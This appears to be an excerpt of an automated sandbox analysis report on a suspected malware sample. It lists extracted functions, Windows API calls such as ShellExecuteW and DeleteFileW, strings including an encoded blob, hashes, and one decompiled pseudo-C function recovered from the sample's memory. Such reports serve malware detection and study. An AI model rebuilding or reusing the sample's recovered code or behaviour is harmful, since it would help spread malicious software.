Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$ExecuteShelllstrlen$Global
String ID: open
API String ID: 4025529775-2758837156
Opcode ID: 8cc9a7fa14e8f1167f43eb2d1b354a71b99967cdcb35b4072c78224b2d76d3d9
Instruction ID: c37f464f11a496ac5bed0fa78998882daeccb467a6fdaf8c4272b4e6ddd95f6a
Opcode Fuzzy Hash: 8cc9a7fa14e8f1167f43eb2d1b354a71b99967cdcb35b4072c78224b2d76d3d9
Instruction Fuzzy Hash: 54A1FA72E00215AFDB149BA6DE84D7E7BB5EB44310B004835E905F73A1DB78BD11CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00595DC2 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 372COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00595E53

Strings

]s, xrefs: 00595FE0
., xrefs: 00595E71
*.lnk, xrefs: 00595F47

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: *.lnk$.$]s
API String ID: 2826327444-2785691041
Opcode ID: 3150c680f21ee6bfbfefdc720a97a6de524c9d957b265806f1dde896eba8a9dd
Instruction ID: 0089d1cc73c3c54cf35029efb01244f51e615093afec859b892e1d20097740cc
Opcode Fuzzy Hash: 3150c680f21ee6bfbfefdc720a97a6de524c9d957b265806f1dde896eba8a9dd
Instruction Fuzzy Hash: A0D1BD71A0021AAFDF05DFA5DE88BAE7B75FF88300F104524FA15B7290DB70A951CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00420F47 Relevance: 35.4, APIs: 19, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00420F8C
_isdigit.LIBCMTD ref: 00420FB2
___check_float_string.LIBCMTD ref: 00421012
__inc.LIBCMTD ref: 00421030
_isdigit.LIBCMTD ref: 004210E2
___check_float_string.LIBCMTD ref: 00421142
___check_float_string.LIBCMTD ref: 004210C9

Part of subcall function 004216A0: __nh_malloc_dbg.LIBCMTD ref: 004216FD

__inc.LIBCMTD ref: 0042108D

Part of subcall function 00421800: __filbuf.LIBCMTD ref: 00421841

___check_float_string.LIBCMTD ref: 004211D6
__inc.LIBCMTD ref: 004211F4
___check_float_string.LIBCMTD ref: 00421237
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004215A6

Strings

+, xrefs: 0042124C

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: ___check_float_string$__inc$Locale_isdigit$UpdateUpdate::~___filbuf__nh_malloc_dbg
String ID: +
API String ID: 1483831053-2126386893
Opcode ID: c35f91d167e3a57fa736c0f9cbc30fc036796ab7872d9175b5daee21bb42ebbd
Instruction ID: 47227cab4d599e2255cfe454b9df9279d6ecde979f53f72c50d2db3852e4d8b6
Opcode Fuzzy Hash: c35f91d167e3a57fa736c0f9cbc30fc036796ab7872d9175b5daee21bb42ebbd
Instruction Fuzzy Hash: 46F194B1E002699BCF24CF99DC80AEEB775BF54304F54819ED81AA7312D7399A80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 005997E8 Relevance: 35.3, APIs: 19, Strings: 1, Instructions: 309registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

RegCloseKey.ADVAPI32(00000000), ref: 0059982D
LocalFree.KERNEL32(00000000), ref: 00599898
RegCloseKey.ADVAPI32(000F003F), ref: 005998A1
RegCloseKey.ADVAPI32(00000000), ref: 005999B5
LocalFree.KERNEL32(00000000), ref: 00599A3E
RegCloseKey.ADVAPI32(000F003F), ref: 00599A47

Strings

?, xrefs: 005997F8

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Close$Free$Local$Global
String ID: ?
API String ID: 669500343-1684325040
Opcode ID: 810266c1436c83679cd00da3e4cb33eccda6db4c1c17b890659f6915c65a8da9
Instruction ID: c8631a5737581b137c97702fbabc2f04157e0bae70163549b95f892d4f59aeef
Opcode Fuzzy Hash: 810266c1436c83679cd00da3e4cb33eccda6db4c1c17b890659f6915c65a8da9
Instruction Fuzzy Hash: 10B16D71A00219BFEF05CFA6DD85EAEBBB9FF49340F104428FA09B6250D7749A10CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0059B3DE Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 275fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(00000000,00000000), ref: 0059B575
LocalFree.KERNEL32(00000000), ref: 0059B654
LocalFree.KERNEL32(?), ref: 0059B65F
LocalFree.KERNEL32(?), ref: 0059B669
LocalFree.KERNEL32(?), ref: 0059B670
LocalFree.KERNEL32(00000000), ref: 0059B677
CloseHandle.KERNEL32(?), ref: 0059B682
DeleteFileW.KERNEL32(?), ref: 0059B689
LocalFree.KERNEL32(?), ref: 0059B6EA
LocalFree.KERNEL32(00000000), ref: 0059B6F1
LocalFree.KERNEL32(?), ref: 0059B6FB
LocalFree.KERNEL32(00000000), ref: 0059B702
LocalFree.KERNEL32(?), ref: 0059B70B
LocalFree.KERNEL32(00000000), ref: 0059B712
DeleteFileW.KERNEL32(?), ref: 0059B719
LocalFree.KERNEL32(?), ref: 0059B740
FindClose.KERNEL32(00000000), ref: 0059B747

Part of subcall function 0059A975: LocalFree.KERNEL32(?), ref: 0059AA29

Part of subcall function 0059B3DE: LocalFree.KERNEL32(00000000), ref: 0059B4C4

Strings

]s, xrefs: 0059B5A6
., xrefs: 0059B453

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$File$CloseDelete$FindHandleSize
String ID: .$]s
API String ID: 948424528-2061089409
Opcode ID: 9efa7dd12d013d1a44ae699e025aa845af9bad0d35c456780079ac2c1191b97f
Instruction ID: 0d470272bdf706bf81cab2109d5b07f71ff9d71d21416e3bf770c22c5ed5dff9
Opcode Fuzzy Hash: 9efa7dd12d013d1a44ae699e025aa845af9bad0d35c456780079ac2c1191b97f
Instruction Fuzzy Hash: DDA18571204311AFEB04DF65DE49E6B7BA5FBC8700F004928F655A72A0DB74EC11CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004244D6 Relevance: 35.2, APIs: 12, Strings: 8, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 004244FD

Part of subcall function 00419280: __errno.LIBCMTD ref: 004192D4

__invoke_watson_if_error.LIBCMTD ref: 00424506
__invoke_watson_if_error.LIBCMTD ref: 0042457D
__errno.LIBCMTD ref: 004245B2
__errno.LIBCMTD ref: 004245BF

Strings

QP#, xrefs: 0042479A
n#@, xrefs: 00424729, 0042472F
`r@, xrefs: 00424556, 0042455C
n#@, xrefs: 00424737, 0042473D
n#@, xrefs: 00424745, 0042474B
n#@, xrefs: 0042476F, 00424775, 00424784
`r@, xrefs: 00424768, 0042476E
n#@, xrefs: 00424753, 00424759

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno$__invoke_watson_if_error$_wcscpy_s
String ID: QP#$`r@$`r@$n#@$n#@$n#@$n#@$n#@
API String ID: 1109857904-2602734993
Opcode ID: 2e6820e7d1c99436e4f461e7e9f65a6fbf290e7f012889dab3cd65e7e718bbde
Instruction ID: c8e87d1946ddb67400bc3ecb9fd161beea858cd9bcaf812c77095ccde34d7992
Opcode Fuzzy Hash: 2e6820e7d1c99436e4f461e7e9f65a6fbf290e7f012889dab3cd65e7e718bbde
Instruction Fuzzy Hash: D6917274E44218ABDB24DF50DC45BEE73B4AB85704F1084AAF609662C1D7BC9ED0CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00592F1F Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 440fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00592FAE

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

StrCpyW.SHLWAPI(?,?), ref: 00592FEE
LocalFree.KERNEL32(00000000), ref: 00592FF9
LocalFree.KERNEL32(00000000), ref: 00593008
LocalFree.KERNEL32(00000000), ref: 00593017
LocalFree.KERNEL32(00000000), ref: 00593026
LocalFree.KERNEL32(00000000), ref: 00593031
DeleteFileW.KERNEL32(?), ref: 00593197
LocalFree.KERNEL32(?), ref: 0059319E
LocalFree.KERNEL32(00000000), ref: 005931B6
LocalFree.KERNEL32(00000000), ref: 00593432
LocalFree.KERNEL32(?), ref: 0059343B
LocalFree.KERNEL32(00000000), ref: 00593449
LocalFree.KERNEL32(00000000), ref: 00593453
DeleteFileW.KERNEL32(?), ref: 0059348A

Strings

}&Y, xrefs: 00593093, 005930E7, 005930D2, 005930A8, 00593414, 005930BD, 00593363, 00593407, 005930FC, 00593083, 00593111, 00593370
FALSE, xrefs: 0059334C, 005933F8
TRUE, xrefs: 00593351, 0059335C, 005933F3, 00593400

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID: FALSE$TRUE$}&Y
API String ID: 2194112602-1879454064
Opcode ID: d2b305aae021969603c5b297492c78034a2985e289075661334c01097b3b4819
Instruction ID: c60fd2f8cc2aa771e9a10a4ae47b923d0f6015c38758b6558073ca97f6b5f8c1
Opcode Fuzzy Hash: d2b305aae021969603c5b297492c78034a2985e289075661334c01097b3b4819
Instruction Fuzzy Hash: 27026D71900219EFDF059FA2EE49AADBBB5FB08300F104825F915B72A0DB759E20DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0059349D Relevance: 30.4, APIs: 20, Instructions: 437fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0059352A

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

LocalFree.KERNEL32(00000000), ref: 00593579
LocalFree.KERNEL32(00000000), ref: 00593588
LocalFree.KERNEL32(00000000), ref: 00593597
LocalFree.KERNEL32(00000000), ref: 005935A2
LocalFree.KERNEL32(00000000), ref: 005935AD
LocalFree.KERNEL32(00000000), ref: 005936D2
LocalFree.KERNEL32(?), ref: 005936D9
LocalFree.KERNEL32(00000000), ref: 00593705
LocalFree.KERNEL32(?), ref: 0059370C
LocalFree.KERNEL32(00000000), ref: 005939AE
DeleteFileW.KERNEL32(?), ref: 005939B5
LocalFree.KERNEL32(?), ref: 005939BC

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$DeleteFile
String ID:
API String ID: 2194112602-0
Opcode ID: 743d3936997c352c872d7cf10618c75b7b5c1b542be5bb5ea46889d68cad6593
Instruction ID: 64a49c0424351224047ab8a578bde6705fb75b8a303c65e6ef5b3e6f98d3d4ee
Opcode Fuzzy Hash: 743d3936997c352c872d7cf10618c75b7b5c1b542be5bb5ea46889d68cad6593
Instruction Fuzzy Hash: F8F18071900225EFDF05DFA6EE48AAE7BB5FF48310F144924F515B32A0DB749A20CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00404F7E Relevance: 30.3, APIs: 24, Instructions: 303
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404F7E(void* __ecx, short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				short* _v44;
				void* _v48;
				signed int _v52;
				char _v56;
				signed int _t60;
				void* _t62;
				void* _t71;
				void* _t78;
				void* _t85;
				void* _t94;
				signed int _t103;
				void* _t109;
				void* _t111;
				void* _t112;
				void* _t115;
				char _t116;
				void* _t117;
				void* _t127;
				void* _t140;
				signed int _t142;
				void* _t144;
				signed int _t146;
				void* _t165;
				void* _t173;
				signed int _t177;
				void* _t178;
				void* _t180;
				void* _t182;
				void* _t184;
				void* _t187;
				void* _t188;
				signed int _t193;
				signed int _t197;
				void* _t199;
				void* _t202;

				_v24 = _v24 & 0x00000000;
				_t142 = 0;
				_v44 = __edx;
				_v40 = _v40 & 0;
				_t60 =  *((intOrPtr*)( *0x40e18c))(__ecx,  *0x40e39c);
				_t177 = _t60;
				if(_t177 == 0) {
					return _t60 | 0xffffffff;
				}
				_t178 = _t177 + 0xc;
				_t62 =  *((intOrPtr*)( *0x40e18c))(_t178,  *0x40e1f0);
				if(_t62 == 0) {
					L5:
					_v8 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t178, _t188) + _t64);
					if(E0040A3E4(_t178,  &_v8, 0, _t142) != 0) {
						_t180 = _t178 + _t142 * 2 + 2;
						_t71 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t180) + _t69);
						_v12 = _t71;
						_t193 =  *((intOrPtr*)( *0x40e18c))(_t180,  *0x40e20c) - _t180 >> 1;
						if(E0040A3E4(_t180,  &_v12, 0, _t193) != 0) {
							_t182 = _t180 + _t193 * 2 + 2;
							_t78 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t182) + _t76);
							_v16 = _t78;
							_t197 =  *((intOrPtr*)( *0x40e18c))(_t182,  *0x40e20c) - _t182 >> 1;
							if(E0040A3E4(_t182,  &_v16, 0, _t197) != 0) {
								_t184 = _t182 + _t197 * 2 + 2;
								_t85 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t184) + _t83);
								_push( *0x40e228);
								_v20 = _t85;
								_push(_t184);
								if(E0040A3E4(_t184,  &_v20, 0,  *((intOrPtr*)( *0x40e18c))() - _t184 >> 1) != 0) {
									_t199 =  *((intOrPtr*)( *0x40e044))(0x40, 0x4000);
									_v28 = _t199;
									_t94 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
									_push(0);
									_t144 = _t94;
									_push(0x1a);
									_push(_t144);
									_push(0);
									if( *((intOrPtr*)( *0x40e0c4))() != 0) {
										_push(_v12);
										_push(_t144);
										_push(_t144);
										if( *((intOrPtr*)( *0x40e000))() != 0) {
											_v40 = 1;
											E004052DA(_t144, _t144, _v8, _v16, _v20, _t199,  &_v24);
											if(_v24 > 0) {
												_t109 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
												_t111 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
												_t173 = 0x10;
												_t112 = E0040A05F(_t109, _t173);
												_t202 = _t112;
												_v48 = _t202;
												_t115 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t111,  *0x40e210), _t202);
												_v52 = _v52 & 0x00000000;
												_v36 = _t115;
												_t116 =  *0x40e204; // 0x735b80
												_v56 = _t116;
												_t117 = E00408619( &_v36);
												_v32 = _t117;
												_t187 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
												_t165 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t202, 0xffffffff, 0, 0, 0, 0);
												if(_t165 == 0) {
													_t199 = _v28;
												} else {
													_t127 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t202, 0xffffffff, _t187, _t165, 0, 0);
													_t199 = _v28;
													if(_t127 != 0) {
														E00407EDB(_v44, _t187, 0, 0, _v24, _t199, _v32,  &_v56);
													}
												}
												LocalFree(_t187);
												LocalFree(_v32);
												LocalFree(_v36);
												LocalFree(_v48);
											}
										}
									}
									LocalFree(_v8);
									LocalFree(_v12);
									LocalFree(_v16);
									LocalFree(_v20);
									LocalFree(_t144);
									LocalFree(_t199);
									_t103 = _v40;
									L23:
									return _t103;
								}
								LocalFree(_v8);
								LocalFree(_v12);
								LocalFree(_v16);
								LocalFree(_v20);
								_push(0xfffffffa);
								L13:
								_pop(_t103);
								goto L23;
							}
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_v16);
							_push(0xfffffffb);
							goto L13;
						}
						LocalFree(_v8);
						LocalFree(_v12);
						_push(0xfffffffc);
						goto L13;
					}
					LocalFree(_v8);
					_push(0xfffffffd);
					goto L13;
				} else {
					_t146 = _t62 - _t178;
					_t142 = _t146 >> 1;
					if(_t146 >= 0) {
						goto L5;
					}
					_t140 = 0xfffffffe;
					return _t140;
				}
			}

0x00404f89
0x00404f95
0x00404f97
0x00404f9a
0x00404f9e
0x00404fa0
0x00404fa4
0x00000000
0x00404fa6
0x00404fb9
0x00404fbd
0x00404fc1
0x00404fd3
0x00404fef
0x00404ffd
0x0040501d
0x00405028
0x00405030
0x00405044
0x00405053
0x0040507c
0x00405087
0x0040508f
0x004050a3
0x004050b0
0x004050df
0x004050ea
0x004050ec
0x004050f2
0x004050fa
0x00405111
0x0040514d
0x0040515b
0x0040515e
0x00405160
0x00405162
0x00405169
0x0040516b
0x0040516c
0x00405172
0x00405178
0x00405180
0x00405181
0x00405186
0x0040518f
0x004051a5
0x004051b1
0x004051c4
0x004051d0
0x004051d4
0x004051d9
0x004051e4
0x004051ec
0x004051f5
0x004051fa
0x00405201
0x00405204
0x00405209
0x0040520c
0x00405216
0x00405224
0x0040523a
0x0040523e
0x0040527b
0x00405240
0x00405254
0x00405256
0x0040525b
0x00405271
0x00405276
0x0040525b
0x0040527f
0x00405288
0x00405291
0x0040529a
0x0040529a
0x004051b1
0x00405186
0x004052a3
0x004052ac
0x004052b5
0x004052be
0x004052c5
0x004052cc
0x004052d2
0x004052d5
0x00000000
0x004052d5
0x00405116
0x0040511f
0x00405128
0x00405131
0x00405137
0x00405139
0x00405139
0x00000000
0x00405139
0x004050b5
0x004050be
0x004050c7
0x004050cd
0x00000000
0x004050cd
0x00405058
0x00405061
0x00405067
0x00000000
0x00405067
0x00405002
0x00405008
0x00000000
0x00404fc3
0x00404fc5
0x00404fc7
0x00404fc9
0x00000000
0x00000000
0x00404fcd
0x00000000
0x00404fcd

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8864805a19a7b6f1c9d7069d355c260c6df1b2e51c1f69a765a566e797a01f6c
Instruction ID: a5171e7b5a3df4f463689049ce4a04ed549f9b8857e4f558dcc9ab38b60404ef
Opcode Fuzzy Hash: 8864805a19a7b6f1c9d7069d355c260c6df1b2e51c1f69a765a566e797a01f6c
Instruction Fuzzy Hash: 06A1C371A00215AFDB009BEADE45EAE7BB5EF48310F104535F614F72E0DBB86D218B69

Uniqueness

Uniqueness Score: -1.00%

Function 004209EF Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 387COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 00420A41
__inc.LIBCMTD ref: 00420A69
__inc.LIBCMTD ref: 00420A9C
__un_inc.LIBCMTD ref: 00420B23
_isxdigit.LIBCMTD ref: 00420BBD
__hextodec.LIBCMTD ref: 00420BF0

Strings

8, xrefs: 00420DD5
F, xrefs: 00420EBB

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __inc$__hextodec__un_inc_isxdigit
String ID: 8$F
API String ID: 3652663768-3144575033
Opcode ID: 44975e82e32c5666a07394cae5dd75be6fc01165a8bdc5575b6d52771f1f6d81
Instruction ID: cbc3e990046101d15e9f01f9175547261931542e588062fa9cf526bccf962501
Opcode Fuzzy Hash: 44975e82e32c5666a07394cae5dd75be6fc01165a8bdc5575b6d52771f1f6d81
Instruction Fuzzy Hash: C8028FB0E052698BCF24CF65E8943EEBBB1AF55308F5481DAD81967303D2799E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042FED9 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042FF68
_get_int64_arg.LIBCMTD ref: 0042FF90
__aullrem.LIBCMT ref: 00430135
__aulldiv.LIBCMT ref: 00430157
_write_multi_char.LIBCMTD ref: 0043025E
_write_string.LIBCMTD ref: 00430279
_write_multi_char.LIBCMTD ref: 004302A5
_wctomb_s.LIBCMTD ref: 00430322

Strings

-, xrefs: 004301FE
9, xrefs: 00430168

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: cb27d96736e196417b3c79b30a33bffabc01b3be02829a97fd44d4dcadda5e2e
Instruction ID: 6fbb936e6e21048b28befd4e543fd591277d1b1e0142e501cd9668f9e3d1ea79
Opcode Fuzzy Hash: cb27d96736e196417b3c79b30a33bffabc01b3be02829a97fd44d4dcadda5e2e
Instruction Fuzzy Hash: 14F14A71D052299FDB24CF58DC99BAEB7B1BB48304F1482EAE409A7241D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043124B Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004312E0
_get_int64_arg.LIBCMTD ref: 00431308
__aullrem.LIBCMT ref: 004314B0
__aulldiv.LIBCMT ref: 004314D2
_write_multi_char.LIBCMTD ref: 004315EB
_write_string.LIBCMTD ref: 00431606
_write_multi_char.LIBCMTD ref: 00431632
__mbtowc_l.LIBCMTD ref: 004316A1

Strings

9, xrefs: 004314E3

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: b16d0459f862c8420226f9aca193c90cfa6dc0c538bc7cc83c81076bc6952c3b
Instruction ID: 2c41f508bb318b1f8b5bc08ec9acbbca8298e5514b934a7e44ca097c7124a9b6
Opcode Fuzzy Hash: b16d0459f862c8420226f9aca193c90cfa6dc0c538bc7cc83c81076bc6952c3b
Instruction Fuzzy Hash: 06F159B1E002299FDB24CF58CC81BAEB7B5FF88314F14519AE509AB251D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0059698C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 321COMMON

Download Yara Rule

APIs

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 00596A20

Strings

qJY0dM4bL2iCmCkB0xRTPyUYzWLBBdoRsvCMw5OPuOUu5D/WSnm8XWBQQd1dRppV2X1QPNCj2QOOrcTbU7PhSBvW1Uu7n4QMZC/bZPxGZyzuzFBVkze7GjYGb2lhMHHzsO, xrefs: 00596A3D, 00596A42, 00596A4F, 00596A5C
., xrefs: 005969F6
WfY, xrefs: 00596AD5, 00596C43, 00596C89, 00596CA4, 00596CEA

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: CombineFreeGlobalPath
String ID: .$WfY$qJY0dM4bL2iCmCkB0xRTPyUYzWLBBdoRsvCMw5OPuOUu5D/WSnm8XWBQQd1dRppV2X1QPNCj2QOOrcTbU7PhSBvW1Uu7n4QMZC/bZPxGZyzuzFBVkze7GjYGb2lhMHHzsO
API String ID: 1842026532-1680266371
Opcode ID: e2b1b369697f91e98e90e0f59b02c0883434508b7dc7d4233a499d6016bd9fa5
Instruction ID: 943350b9385bde985543650a48120775d5d0b7cfb6cacfcc7cc37e6d8e0ced40
Opcode Fuzzy Hash: e2b1b369697f91e98e90e0f59b02c0883434508b7dc7d4233a499d6016bd9fa5
Instruction Fuzzy Hash: 19C16EB1E00219AFDF04DFA5DE49AAEBBB5FB88310F104829F914B7290DB745D11CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00593C3E Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 223fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

GetFileSize.KERNEL32(00000000,00000000), ref: 00593D35
LocalFree.KERNEL32(00000000), ref: 00593E62
LocalFree.KERNEL32(?), ref: 00593E6B
LocalFree.KERNEL32(?), ref: 00593E72
LocalFree.KERNEL32(00000000), ref: 00593E79
FindClose.KERNEL32(00000002), ref: 00593EA0
LocalFree.KERNEL32(00000002), ref: 00593EA9
LocalFree.KERNEL32(?), ref: 00593EB9
LocalFree.KERNEL32(00000000), ref: 00593EC0
LocalFree.KERNEL32(?), ref: 00593EC7
LocalFree.KERNEL32(00000000), ref: 00593ECE
LocalFree.KERNEL32(?), ref: 00593ED7
LocalFree.KERNEL32(?), ref: 00593EE0
LocalFree.KERNEL32(00000000), ref: 00593EE7
DeleteFileW.KERNEL32(?), ref: 00593EEE

Part of subcall function 0059A905: LocalFree.KERNEL32(00000000,?,?,00592C15), ref: 0059A968

Strings

]s, xrefs: 00593D66, 00593DAB

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$File$CloseDeleteFindGlobalSize
String ID: ]s
API String ID: 952173178-573085443
Opcode ID: c0af09b8467f81c6f5b6c21aa0467688919da5cab6ecacf54911a18db2b2d236
Instruction ID: c07726865119f3d91216a13a8f73ef4dfad15b52886d7d7e8cfc03622b593fdd
Opcode Fuzzy Hash: c0af09b8467f81c6f5b6c21aa0467688919da5cab6ecacf54911a18db2b2d236
Instruction Fuzzy Hash: 83717171A00215ABDF04DBB2DE49EAE7BB9FBC8700F108928F515B7290DB749D11CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0059762E Relevance: 27.3, APIs: 18, Instructions: 315COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 005979C9

Part of subcall function 0059A64B: LocalFree.KERNEL32(00000000,?,00593FAD,00000002,?), ref: 0059A6B0

ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 005978DA
LocalFree.KERNEL32(?), ref: 005978E3
LocalFree.KERNEL32(00000000), ref: 005978EA
LocalFree.KERNEL32(00000000), ref: 005978F1
LocalFree.KERNEL32(?), ref: 005978FA

Part of subcall function 0059A76A: GlobalFree.KERNEL32(00592C15), ref: 0059A7B7

ShellExecuteW.SHELL32(00000000,0040D968,?,?,00000000,00000000), ref: 0059792A
LocalFree.KERNEL32(?), ref: 00597934
LocalFree.KERNEL32(?), ref: 0059793D
LocalFree.KERNEL32(?), ref: 00597944
LocalFree.KERNEL32(?), ref: 0059794D
LocalFree.KERNEL32(?), ref: 00597975
LocalFree.KERNEL32(?), ref: 0059797E
LocalFree.KERNEL32(?), ref: 00597985
LocalFree.KERNEL32(?), ref: 0059798E
LocalFree.KERNEL32(?), ref: 0059799C
LocalFree.KERNEL32(00000000), ref: 005979AB
LocalFree.KERNEL32(00000000), ref: 005979B4

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: Free$Local$ExecuteShell$Global
String ID:
API String ID: 3422199401-0
Opcode ID: 2e40cf93ff22970fb201e2597e66e137a113e231ffdeba543525be583811f4b7
Instruction ID: f23f3df719d5966c3212f1ee7504d043427929ddc388dc9b625e616ac4e302b4
Opcode Fuzzy Hash: 2e40cf93ff22970fb201e2597e66e137a113e231ffdeba543525be583811f4b7
Instruction Fuzzy Hash: 75A1E672A00225AFDF149BB5DE49D7EBFB5FB88300B044825E905F7260DB74AD11CBA9

Uniqueness

Uniqueness Score: -1.00%

